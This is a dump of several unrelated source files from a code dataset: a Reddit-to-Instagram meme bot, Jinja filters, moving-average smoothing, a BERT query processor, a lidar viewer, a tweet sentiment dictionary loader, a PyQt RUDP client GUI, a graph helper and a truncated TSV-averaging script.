files[randomImage] #deleted from list\n os.remove(desiredFile)\n print(\"File destroyed from directory\")\n\n#Evaluate runs each post through a test checking how long since the post was made and how many upvotes it has`\n#The more upvotes with less time = better post to save\ndef evaluate(post):\n print(\"Evaluating: \", post.id)\n upvotes = post.ups\n time = post.created\n age = datetime.datetime.fromtimestamp(time)\n #Age is now the utc date timestamp of post: now converting into secconds since\n now = datetime.datetime.now()\n #converting to secconds and / 3600 for hours, need to absolute value to dussssse some times are (-)\n ellapsed = abs((((now - age).total_seconds()) / 3600.0))\n\n if ellapsed < 1.5 and upvotes > 8000:\n return True\n elif ellapsed >= 1.5 and ellapsed <= 4 and upvotes > 12000:\n return True\n elif ellapsed > 4 and ellapsed < 7 and upvotes > 36000:\n return True\n else:\n return False\n\n\n#Since each file needs a unique name we create our file names using SHA1 hashing algorithm\ndef encodeName(post):\n url = hashlib.sha1((post.title).encode())\n encoded_url = url.hexdigest()\n encoded_url += '.jpg'\n return encoded_url\n\n\n\n\n#Saving a reddit post to our files using requests on the image url\ndef save(post):\n url = post.url\n if '.png' in url:\n return #only using jpg images for formatiing\n image = requests.get(url).content\n imageName = encodeName(post)\n with open(imageName, 'wb') as handler:\n handler.write(image)\n print('Image saved from meme: ' + str(post.title) + '\\nImage had ' + str(post.ups) + ' upvotes')\n #Saving filename to list:\n files.append(imageName)\n\n\n#Wipe all files goes through the list of files and deletes each file from the folder and list for a fresh start\ndef wipeAllFiles():\n subprocess.call(['./cleanfile.sh'], shell=True) #calling shell file to erase all photos\n files.clear()\n\n\ndef retreivePhotos():\n print(\"Scraping images,\")\n for name in subreddit_list:\n subreddit = reddit.subreddit(name)\n hotList = subreddit.hot(limit=15)\n #loop through posts of each subreddit\n for post in hotList:\n if evaluate(post):\n save(post)\n\n\n#Autono\ndef autonomousUser(timeBetweenPosts):\n postCount = 0\n while True:\n fileCount = (len(files)-1)\n if fileCount < 2:\n retreivePhotos()\n time.sleep(timeBetweenPosts*60)\n postImage()\n addTags()\n postCount += 1\n\n if len(files)-1 > 7:\n wipeAllFiles()\n\n\n\n\n\n\n# def commentModerator():\n# user_posts = instaBot.getSelfUserFeed()\n# feed = instaBot.LastJson\n# numPosts = 0\n# while numPosts < 5:\n# latestMediaItem = feed[\"items\"][numPosts]\n# latestMediaItemID = latestMediaItem[\"caption\"][\"media_id\"]\n# instaBot.getMediaComments(latestMediaItem)\n# comments = instaBot.LastJson\n#\n# for comment in comments:\n# print(comment['user']['comment']['text'])\n\n\n\nif __name__ == '__main__':\n #Creating bot\n subprocess.call(['./cleanfile.sh'], shell=True) #calling shell file to erase all photos\n instaBot = InstagramAPI(sys.argv[1], sys.argv[2])\n instaBot.login()\n # #\n # #process 1.) Autonomous searching and posting:\n autoUser = Process(target = autonomousUser(int(sys.argv[3])))\n autoUser.start() #starting first process of bot\n # #\n # #\n #\n instaBot.logout()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"324624867","text":"# coding: utf8\nimport json\n\n\nclass JinjaEnv:\n def __init__(self):\n pass\n\n def init_app(self, app):\n app.jinja_env.add_extension('jinja2.ext.loopcontrols')\n app.jinja_env.filters[\"remove_none\"] = self.remove_none\n app.jinja_env.filters[\"to_dict\"] = self.to_dict\n app.jinja_env.filters[\"get_attr\"] = self.get_attr\n app.jinja_env.filters[\"check_dict_is_null\"] = self.check_dict_is_null\n app.jinja_env.filters[\"select_enum\"] = self.select_enum\n\n @staticmethod\n def remove_none(l):\n new_list = [v for v in l if v]\n result = []\n for v in new_list:\n if isinstance(v, list):\n v = ','.join([info for info in v if info])\n result.append(v)\n return result\n\n @staticmethod\n def check_dict_is_null(data):\n if not data: return False\n for key, val in data.items():\n if val:\n return True\n return False\n\n @staticmethod\n def select_enum(data, name, value, format_key='name'):\n if not data: return []\n new_data = []\n for v in data:\n if format_key == 'name':\n if getattr(v, name).name == value:\n new_data.append(v)\n if format_key == 'value':\n if getattr(v, name).value == value:\n new_data.append(v)\n return new_data\n\n @staticmethod\n def get_attr(data, attr_key):\n if not data: return []\n r = [getattr(v, attr_key) for v in data if getattr(v, attr_key)]\n return r\n\n @staticmethod\n def check_json_format(raw_msg):\n \"\"\"\n 用于判断一个字符串是否符合Json格式\n :param self:\n :return:\n \"\"\"\n if isinstance(raw_msg, str): # 首先判断变量是否为字符串\n try:\n json.loads(raw_msg, encoding='utf-8')\n except ValueError:\n return False\n return True\n else:\n return False\n\n def to_dict(self, json_data):\n if not json_data:\n return\n\n if not self.check_json_format(json_data):\n return\n\n result = json.loads(json_data)\n return result\n","sub_path":"console/app/jinja_env.py","file_name":"jinja_env.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"499909517","text":"from random import randint\nimport matplotlib.pyplot as plt\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ndef mean(ar):\n return sum(ar) / len(ar)\n\n\ndef ssum(a, b):\n c = []\n for i in range(len(a)):\n c.append(a[i] * b[i])\n return sum(c)\n\n\n# простое скользящее среднее\n# s - размер окна для вычисления среднего\ndef sma_filter(y, s=10):\n r = [mean(y[i - s:i]) for i in range(s, len(y))]\n return r\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# взвешенное скользящее среднее\n# s - размер окна для вычисления среднего\ndef wma_filter(y, s=10):\n w = [i for i in range(s, 0, -1)] # веса элементов последовательности, самый \"старый\" имеет наибольший вес\n sw = sum(w)\n d = 2.0 / (s * (s + 1))\n r = [ssum(y[i - s:i], w) * d for i in range(s, len(y))]\n return r\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# экспоненциальное скользящее среднее\ndef ema_filter(y, p=50):\n r = [y[0]]\n for i in range(1, len(y)):\n r.append(r[-1] + 2.0 / (p + 1) * (y[i] - r[-1]))\n return r\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# экспоненциально взвешенное скользящее среднее (фильтр Брауна)\ndef ewma_filter(y, p=0.15):\n r = [y[0]]\n for i in range(1, len(y)):\n r.append(p * y[i] + (1 - p) * r[-1])\n return r\n\n\nWIDTH = 3\n\nif __name__ == '__main__':\n l = [randint(0, 40) for i in range(40)]\n lx = [i for i in range(40)]\n s = sma_filter(l, WIDTH)\n sx = [i for i in range(WIDTH, len(s) + WIDTH)]\n w = wma_filter(l, WIDTH)\n e = ema_filter(l, 5)\n ew = ewma_filter(l)\n\n fig, ax = plt.subplots()\n\n ax.set_title('сглаживание')\n\n ax.plot(lx, l, label='исходные данные')\n ax.plot(sx, s, label='скользящее среднее')\n ax.plot(sx, w, label='взвешенное скользящее среднее')\n ax.plot(lx, e, label='экспоненциальное скользящее среднее')\n ax.plot(lx, ew, label='экспоненциальное взвешенное')\n ax.set_ylim(bottom=0, top=60)\n ax.legend(loc='upper left')\n plt.savefig('lab4_1')\n\n # fig, (ax1, ax2) = plt.subplots(nrows=1, ncols=2)\n # ax1.plot(lx, l)\n # ax1.plot(sx, s)\n # ax1.plot(sx, w)\n # ax2.plot(lx, l)\n # ax2.plot(lx, e)\n # ax2.plot(lx, ew)\n plt.show()","sub_path":"lab4/lab4_1.py","file_name":"lab4_1.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"559813929","text":"# Copyright 2019 The Forte Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# pylint: disable=attribute-defined-outside-init\nimport torch\nfrom texar.torch.hyperparams import HParams\nfrom texar.torch.modules import BERTEncoder\nfrom texar.torch.data import BERTTokenizer\n\nfrom forte.common.resources import Resources\nfrom forte.data import MultiPack\nfrom forte.processors.base import MultiPackProcessor\n\nfrom forte.data.ontology import Query\n\n__all__ = [\n \"QueryCreator\"\n]\n\n\nclass QueryCreator(MultiPackProcessor):\n r\"\"\"This processor is used to search for relevant documents for a query\n \"\"\"\n\n # pylint: disable=useless-super-delegation\n def __init__(self) -> None:\n super().__init__()\n\n def initialize(self, resources: Resources, configs: HParams):\n self.resource = resources\n vocab_file = configs.vocab_file\n self.tokenizer = BERTTokenizer.load(vocab_file)\n\n self.device = torch.device(\n \"cuda\" if torch.cuda.is_available() else \"cpu\")\n self.encoder = BERTEncoder(pretrained_model_name=\"bert-base-uncased\")\n self.encoder.to(self.device)\n\n @torch.no_grad()\n def get_embeddings(self, input_ids, segment_ids):\n return self.encoder(inputs=input_ids, segment_ids=segment_ids)\n\n def _process(self, input_pack: MultiPack):\n input_ids = []\n segment_ids = []\n\n query_pack = input_pack.get_pack(\"pack\")\n context = [query_pack.text]\n\n # use context to build the query\n if \"user_utterance\" in input_pack.pack_names:\n user_pack = input_pack.get_pack(\"user_utterance\")\n context.append(user_pack.text)\n\n if \"bot_utterance\" in input_pack.pack_names:\n bot_pack = input_pack.get_pack(\"bot_utterance\")\n context.append(bot_pack.text)\n\n for text in context:\n t = self.tokenizer.encode_text(text)\n input_ids.append(t[0])\n segment_ids.append(t[1])\n\n input_ids = torch.LongTensor(input_ids).to(self.device)\n segment_ids = torch.LongTensor(segment_ids).to(self.device)\n _, query_vector = self.get_embeddings(input_ids, segment_ids)\n query_vector = torch.mean(query_vector, dim=0, keepdim=True)\n query_vector = query_vector.cpu().numpy()\n query = Query(pack=query_pack, value=query_vector)\n query_pack.add_or_get_entry(query)\n","sub_path":"forte/processors/query_creator.py","file_name":"query_creator.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"339718579","text":"import os\nimport argparse\nimport numpy as np\nimport argoverse\nfrom argoverse.data_loading.argoverse_tracking_loader import ArgoverseTrackingLoader\nfrom argoverse.visualization.mayavi_utils import draw_lidar, mayavi_compare_point_clouds \nfrom argoverse.utils.ply_loader import load_ply\nfrom argoverse.utils import mayavi_wrapper\n\n \n# the main routine\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Visualize Lidar')\n parser.add_argument('--root_dir', type=str,\n default='/Users/mengsli/Downloads/DLRepo/argoverse-tracking/')\n parser.add_argument('--sub_folder', type=str, default='sample/') #train1, train2 ... val, test\n parser.add_argument('--max_high', type=int, default=1)\n args = parser.parse_args()\n\n assert os.path.isdir(args.root_dir)\n sub_dir = args.root_dir + '/' + args.sub_folder\n \n argoverse_loader = ArgoverseTrackingLoader(sub_dir)\n for log_id in argoverse_loader.log_list:\n\n pseudo_lidar_dir = sub_dir + '/' + log_id + '/' + 'lidar/' #true lidar for debugging\n #pseudo_lidar_dir = sub_dir + '/' + log_id + '/' + 'pred_lidar/'\n assert os.path.isdir(pseudo_lidar_dir)\n \n lidar_list = [x for x in os.listdir(pseudo_lidar_dir) if x[-3:] == 'ply']\n lidar_list = sorted(lidar_list)\n\n for fn in lidar_list:\n lidar = load_ply(pseudo_lidar_dir + '/' + fn)\n fig = draw_lidar(lidar)\n mayavi_wrapper.mlab.show()\n \n","sub_path":"preprocessing/argo_viz_lidar.py","file_name":"argo_viz_lidar.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"579958102","text":"\nimport pandas as pd\nimport numpy as np\nfrom glob import glob\nimport os\n\nimport processor._senti_process as senti_process\n#change it to the address where the file is located in your computer\n#os.chdir('C:\\\\Users\\\\wenca\\\\Desktop\\\\GitRepo\\\\Twitter-Analysis-With-Earning-Event\\\\')\n\nclass TwitterDict:\n \"\"\"This is the dictionary from McDonald's paper\n But here we added some new words that fit twitter more\n \"\"\"\n my_dict = pd.read_csv('dictionary\\\\MyDict.csv')\n my_pos = my_dict.Positive.dropna().values\n my_neg = my_dict.Negative.dropna().values\n\n @staticmethod\n def origin_dict():\n LM_dic = pd.read_csv(\"dictionary\\\\LoughranMcDonald_MasterDictionary_2018.csv\")\n pos_dic = LM_dic[LM_dic.Positive!=0].Word.values\n neg_dic = LM_dic[LM_dic.Negative!=0].Word.values\n return pos_dic,neg_dic\n\n @classmethod\n def new_dict(cls):\n my_pos,my_neg = cls.my_pos,cls.my_neg\n pos_dic,neg_dic = cls.origin_dict()\n new_pos = np.append(pos_dic,my_pos)\n new_neg = np.append(neg_dic,my_neg)\n return new_pos,new_neg\n\n @staticmethod\n def pre_dict():\n pre_d = pd.read_csv('dictionary\\\\PreDict.csv')\n pre_pos = pre_d.Positive.dropna().values\n pre_neg = pre_d.Negative.dropna().values\n return pre_pos, pre_neg\n\n\nif __name__ == \"__main__\":\n \n pos,neg = TwitterDict().new_dict()\n\n key_word = \"$WORK\"\n keyword_path = f\"twitters\\\\{key_word}\\\\\" # where the raw twitters are stored\n # read all files\n files=glob(f'{keyword_path}*{key_word}*')\n ifile=files[-1]\n xfile=pd.read_csv(ifile)\n test_obj = senti_process.SentiProcess(key_word,pos,neg)\n\n e_file = test_obj.effective_ttr(xfile,thd=10)\n isenti,pos_tweets,neg_tweets = test_obj.senti_count(\"2020-05-01\",e_file,log_flag=0)\n \n print(pos_tweets)\n print(neg_tweets)\n","sub_path":"processor/_fix_dictionary.py","file_name":"_fix_dictionary.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"135705023","text":"# Pranay Tarigopula 2018A7PS0237H\r\n# D Vishal Dheeraj 2018A7PS0239H\r\n# B Rishi Saimshu Reddy 2018A7PS0181H\r\n# Dhruv Adlakha 2018A7PS0303H\r\n# Abhinav Bandaru 2018A7PS0236H\r\n# P Pranav Reddy 2018A7PS0238H\r\n\r\n# -*- coding: utf-8 -*-\r\n\r\n# Form implementation generated from reading ui file 'client_ui.ui'\r\n#\r\n# Created by: PyQt5 UI code generator 5.15.4\r\n#\r\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\r\n# run again. Do not edit this file unless you know what you are doing.\r\n\r\n\r\nimport sys\r\nimport os\r\nimport client\r\nimport timeit\r\nimport subprocess\r\nimport time\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets \r\n\r\n\r\n\r\n\r\n\r\nclass Ui_Client(object):\r\n def setupUi(self, Client):\r\n Client.setObjectName(\"Client\")\r\n Client.resize(547, 728)\r\n Client.setMinimumSize(QtCore.QSize(547, 728))\r\n Client.setMaximumSize(QtCore.QSize(547, 728))\r\n self.centralwidget = QtWidgets.QWidget(Client)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.s_ip_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.s_ip_lbl.setGeometry(QtCore.QRect(100, 70, 141, 31))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.s_ip_lbl.setFont(font)\r\n self.s_ip_lbl.setObjectName(\"s_ip_lbl\")\r\n self.sip_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.sip_txt.setGeometry(QtCore.QRect(320, 80, 113, 22))\r\n self.sip_txt.setObjectName(\"sip_txt\")\r\n self.s_pn_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.s_pn_lbl.setGeometry(QtCore.QRect(100, 120, 151, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.s_pn_lbl.setFont(font)\r\n self.s_pn_lbl.setObjectName(\"s_pn_lbl\")\r\n self.spn_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.spn_txt.setGeometry(QtCore.QRect(320, 120, 113, 22))\r\n self.spn_txt.setObjectName(\"spn_txt\")\r\n self.c_ip_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.c_ip_lbl.setGeometry(QtCore.QRect(100, 160, 131, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.c_ip_lbl.setFont(font)\r\n self.c_ip_lbl.setObjectName(\"c_ip_lbl\")\r\n self.cip_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.cip_txt.setGeometry(QtCore.QRect(320, 160, 113, 22))\r\n self.cip_txt.setObjectName(\"cip_txt\")\r\n self.c_pn_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.c_pn_lbl.setGeometry(QtCore.QRect(100, 200, 141, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.c_pn_lbl.setFont(font)\r\n self.c_pn_lbl.setObjectName(\"c_pn_lbl\")\r\n self.cpn_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.cpn_txt.setGeometry(QtCore.QRect(320, 200, 113, 22))\r\n self.cpn_txt.setObjectName(\"cpn_txt\")\r\n self.reqfile_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.reqfile_lbl.setGeometry(QtCore.QRect(100, 440, 141, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.reqfile_lbl.setFont(font)\r\n self.reqfile_lbl.setObjectName(\"reqfile_lbl\")\r\n self.reqfile_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.reqfile_txt.setGeometry(QtCore.QRect(320, 440, 113, 22))\r\n self.reqfile_txt.setObjectName(\"reqfile_txt\")\r\n self.c_status = QtWidgets.QTextBrowser(self.centralwidget)\r\n self.c_status.setGeometry(QtCore.QRect(100, 550, 321, 91))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.c_status.setFont(font)\r\n self.c_status.setObjectName(\"c_status\")\r\n self.cbtn = QtWidgets.QPushButton(self.centralwidget)\r\n self.cbtn.setGeometry(QtCore.QRect(180, 500, 171, 28))\r\n font = QtGui.QFont()\r\n font.setFamily(\"Ubuntu Condensed\")\r\n font.setBold(True)\r\n font.setWeight(75)\r\n self.cbtn.setFont(font)\r\n self.cbtn.setObjectName(\"cbtn\")\r\n self.cbtn.clicked.connect(self.button_clicked)\r\n self.pktsize_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.pktsize_lbl.setGeometry(QtCore.QRect(100, 280, 171, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.pktsize_lbl.setFont(font)\r\n self.pktsize_lbl.setObjectName(\"pktsize_lbl\")\r\n self.pktsize_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.pktsize_txt.setGeometry(QtCore.QRect(320, 280, 113, 22))\r\n self.pktsize_txt.setObjectName(\"pktsize_txt\")\r\n self.gt_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.gt_lbl.setGeometry(QtCore.QRect(100, 240, 131, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.gt_lbl.setFont(font)\r\n self.gt_lbl.setObjectName(\"gt_lbl\")\r\n self.gt_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.gt_txt.setGeometry(QtCore.QRect(320, 240, 113, 22))\r\n self.gt_txt.setObjectName(\"gt_txt\")\r\n self.window_size = QtWidgets.QLabel(self.centralwidget)\r\n self.window_size.setGeometry(QtCore.QRect(100, 360, 121, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.window_size.setFont(font)\r\n self.window_size.setObjectName(\"window_size\")\r\n self.winsize_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.winsize_txt.setGeometry(QtCore.QRect(320, 360, 113, 22))\r\n self.winsize_txt.setObjectName(\"winsize_txt\")\r\n self.buffer_size_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.buffer_size_lbl.setGeometry(QtCore.QRect(100, 400, 171, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.buffer_size_lbl.setFont(font)\r\n self.buffer_size_lbl.setObjectName(\"buffer_size_lbl\")\r\n self.buffer_siz_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.buffer_siz_txt.setGeometry(QtCore.QRect(320, 400, 113, 22))\r\n self.buffer_siz_txt.setObjectName(\"buffer_siz_txt\")\r\n self.title_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.title_lbl.setGeometry(QtCore.QRect(160, 20, 211, 20))\r\n font = QtGui.QFont()\r\n font.setFamily(\"Ubuntu Mono\")\r\n font.setPointSize(15)\r\n font.setBold(True)\r\n font.setWeight(75)\r\n self.title_lbl.setFont(font)\r\n self.title_lbl.setObjectName(\"title_lbl\")\r\n self.body_size_lbl = QtWidgets.QLabel(self.centralwidget)\r\n self.body_size_lbl.setGeometry(QtCore.QRect(100, 320, 81, 16))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.body_size_lbl.setFont(font)\r\n self.body_size_lbl.setObjectName(\"body_size_lbl\")\r\n self.bodysize_txt = QtWidgets.QLineEdit(self.centralwidget)\r\n self.bodysize_txt.setGeometry(QtCore.QRect(320, 320, 113, 22))\r\n self.bodysize_txt.setObjectName(\"bodysize_txt\")\r\n Client.setCentralWidget(self.centralwidget)\r\n self.menubar = QtWidgets.QMenuBar(Client)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 547, 22))\r\n self.menubar.setObjectName(\"menubar\")\r\n Client.setMenuBar(self.menubar)\r\n self.statusbar = QtWidgets.QStatusBar(Client)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n Client.setStatusBar(self.statusbar)\r\n\r\n self.retranslateUi(Client)\r\n QtCore.QMetaObject.connectSlotsByName(Client)\r\n Client.setTabOrder(self.sip_txt, self.spn_txt)\r\n Client.setTabOrder(self.spn_txt, self.cip_txt)\r\n Client.setTabOrder(self.cip_txt, self.cpn_txt)\r\n Client.setTabOrder(self.cpn_txt, self.gt_txt)\r\n Client.setTabOrder(self.gt_txt, self.pktsize_txt)\r\n Client.setTabOrder(self.pktsize_txt, self.winsize_txt)\r\n Client.setTabOrder(self.winsize_txt, self.buffer_siz_txt)\r\n Client.setTabOrder(self.buffer_siz_txt, self.reqfile_txt)\r\n Client.setTabOrder(self.reqfile_txt, self.cbtn)\r\n Client.setTabOrder(self.cbtn, self.c_status)\r\n\r\n def retranslateUi(self, Client):\r\n _translate = QtCore.QCoreApplication.translate\r\n Client.setWindowTitle(_translate(\"Client\", \"Client\"))\r\n self.s_ip_lbl.setStatusTip(_translate(\"Client\", \"Target IP Address\"))\r\n self.s_ip_lbl.setText(_translate(\"Client\", \"Server IP Address\"))\r\n self.sip_txt.setText(_translate(\"Client\", \"127.0.0.1\"))\r\n self.s_pn_lbl.setStatusTip(_translate(\"Client\", \"Target Port Number\"))\r\n self.s_pn_lbl.setText(_translate(\"Client\", \"Server Port Number\"))\r\n self.spn_txt.setText(_translate(\"Client\", \"65432\"))\r\n self.c_ip_lbl.setStatusTip(_translate(\"Client\", \"Your IP Address\"))\r\n self.c_ip_lbl.setText(_translate(\"Client\", \"Client IP Address\"))\r\n self.cip_txt.setText(_translate(\"Client\", \"127.0.0.1\"))\r\n self.c_pn_lbl.setStatusTip(_translate(\"Client\", \"Your Port Number\"))\r\n self.c_pn_lbl.setText(_translate(\"Client\", \"Client Port Number\"))\r\n self.cpn_txt.setText(_translate(\"Client\", \"65431\"))\r\n self.reqfile_lbl.setStatusTip(_translate(\"Client\", \"Enter the file name you wish to download\"))\r\n self.reqfile_lbl.setText(_translate(\"Client\", \"Requested File\"))\r\n self.reqfile_txt.setText(_translate(\"Client\", \"sample.png\"))\r\n self.cbtn.setStatusTip(_translate(\"Client\", \"Start Client\"))\r\n self.cbtn.setText(_translate(\"Client\", \"Start Client\"))\r\n self.pktsize_lbl.setStatusTip(_translate(\"Client\", \"Size of Packets, default set to 10024\"))\r\n self.pktsize_lbl.setText(_translate(\"Client\", \"Packet Size \"))\r\n self.pktsize_txt.setText(_translate(\"Client\", \"10024\"))\r\n self.gt_lbl.setStatusTip(_translate(\"Client\", \"Server sleep time, default set to 30 secs\"))\r\n self.gt_lbl.setText(_translate(\"Client\", \"Global Timer \"))\r\n self.gt_txt.setText(_translate(\"Client\", \"30\"))\r\n self.window_size.setStatusTip(_translate(\"Client\", \"Server Side Window size\"))\r\n self.window_size.setText(_translate(\"Client\", \"Window Size \"))\r\n self.winsize_txt.setText(_translate(\"Client\", \"10\"))\r\n self.buffer_size_lbl.setStatusTip(_translate(\"Client\", \"Buffer Size\"))\r\n self.buffer_size_lbl.setText(_translate(\"Client\", \"Buffer Size \"))\r\n self.buffer_siz_txt.setText(_translate(\"Client\", \"20\"))\r\n self.title_lbl.setText(_translate(\"Client\", \"Selective Repeat RUDP\"))\r\n self.body_size_lbl.setStatusTip(_translate(\"Client\", \"Buffer Size\"))\r\n self.body_size_lbl.setText(_translate(\"Client\", \"Body Size\"))\r\n self.bodysize_txt.setText(_translate(\"Client\", \"8000\"))\r\n\r\n\r\n def button_clicked(self):\r\n self.c_status.clear()\r\n server_ip = self.sip_txt.text()\r\n client_ip = self.cip_txt.text()\r\n server_port = self.spn_txt.text()\r\n client_port = self.cpn_txt.text()\r\n buffer_size = self.buffer_siz_txt.text()\r\n window_size = self.winsize_txt.text()\r\n transfer_file = self.reqfile_txt.text()\r\n pkt_size = self.pktsize_txt.text()\r\n global_timer = self.gt_txt.text()\r\n body_size = self.bodysize_txt.text()\r\n\r\n if(not (server_ip and server_ip.strip())):\r\n self.c_status.append(\"Please enter Server IP Address\")\r\n return \r\n\r\n if(not (client_ip and client_ip.strip())):\r\n self.c_status.append(\"Please enter Server IP Address\")\r\n return\r\n\r\n if(not (server_port and server_port.strip())):\r\n self.c_status.append(\"Please assign a Port Number for Server\")\r\n return\r\n\r\n if(not (client_port and client_port.strip())):\r\n self.c_status.append(\"Please assign a Port Number for Client\")\r\n return\r\n\r\n if(not (buffer_size and buffer_size.strip())):\r\n buffer_size = \"20\"\r\n\r\n if(not (window_size and window_size.strip())):\r\n window_size = \"10\"\r\n \r\n if(not (pkt_size and pkt_size.strip())):\r\n pkt_size = \"10024\"\r\n\r\n if(not (global_timer and global_timer.strip())):\r\n global_timer = \"30\"\r\n \r\n\r\n self.c_status.append(f\"Sent download request for {transfer_file}\")\r\n start = timeit.default_timer()\r\n args = ['python3', 'client.py' , client_ip , client_port , server_ip , server_port , transfer_file, global_timer,pkt_size,window_size,buffer_size,body_size]\r\n # args = ['python3', 'client.py' , \"127.0.0.1\" , \"50126\" , \"127.0.0.1\" , \"50125\" , \"sample.txt\", \"30\", \"10024\",\"3\",\"20\"]\r\n c = subprocess.run(args)\r\n end = timeit.default_timer()\r\n duration = end - start\r\n duration = round(duration,3)\r\n return_code = c.returncode\r\n\r\n if(return_code == 0):\r\n self.c_status.append(f\"File Recieved\\nTime Elapsed: {duration} s\")\r\n elif(return_code == 1):\r\n self.c_status.append(\"Global Timeout\\n\")\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n Client = QtWidgets.QMainWindow()\r\n ui = Ui_Client()\r\n ui.setupUi(Client)\r\n Client.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"client_ui.py","file_name":"client_ui.py","file_ext":"py","file_size_in_byte":13056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"227735409","text":"import networkx as nx\n\ndef get_edges(graph, info, buyer_num,buyer_group):\n import re\n if info=='F':\n link_list = graph.links.split(sep=';')[0:-1]\n return [(graph.buyers.filter(group=buyer_group)[int(i[0])-1], graph.sellers.all()[int(i[1])-1]) for i in link_list]\n else:\n link_list = re.findall(str(buyer_num)+'\\d', graph.links)\n sellers = [i[1] for i in link_list]\n if len(sellers)>1:\n return [(graph.buyers.get(num=buyer_num), graph.sellers.all()[int(i[1]) - 1]) for i in link_list]\n if len(sellers)==1:\n #print((graph.buyers.get(num=buyer_num), graph.sellers.all()[int(sellers[0])-1]))\n return [(graph.buyers.get(num=buyer_num), graph.sellers.all()[int(sellers[0]) - 1])]\n return []\n\ndef plot_network(graph, info, buyer_num,buyer_group):\n G = nx.Graph()\n G.clear()\n G.add_nodes_from(graph.buyers.filter(group=buyer_group))\n G.add_nodes_from(graph.sellers.all())\n G.add_edges_from(get_edges(graph, info, buyer_num, buyer_group))\n return(G)\n","sub_path":"experiment/logic/plot_graph.py","file_name":"plot_graph.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"88235234","text":"import pandas as pd, os\nfrom argparse import ArgumentParser\n\n# python3 get_frame.py -f folder -o mean.tsv\n\ndef main(parsed_variables): \n \n folder_path = parsed_variables['input_folder']\n output_path = parsed_variables['output_file']\n \n files_list = os.listdir(folder_path)\n file_count = len(files_list)\n \n file_index = 0\n for file_name in files_list: \n file_path = os.path.join(folder_path, file_name)\n \n if '.tsv' in file_name: \n \n print('File name: {} [{}/{}]'.format(file_name,\n file_index, file_count)) \n \n if os.path.exists(file_path):\n file_index += 1\n \n read_frame = pd.read_csv(file_path, sep='\\t') \n if file_index == 1: combined_frame = read_frame\n else: combined_frame = combined_frame.add(read_frame, fill_value=0).astype(float)\n else: \n print('File not found | uncorrect format | ...')\n \n mean_frame = combined_frame/file_index\n mean_frame.to_csv(output_path, sep='\\t', index=False)\n \n \nif __name__ == \"__main__\":\n \n parser = ArgumentParser(description='''Mean frame''', \n epilog=\"\"\"shulinsky@mail.ru\"\"\")\n \n parser.add_argument('-f', '--input_folder', type = str, help = 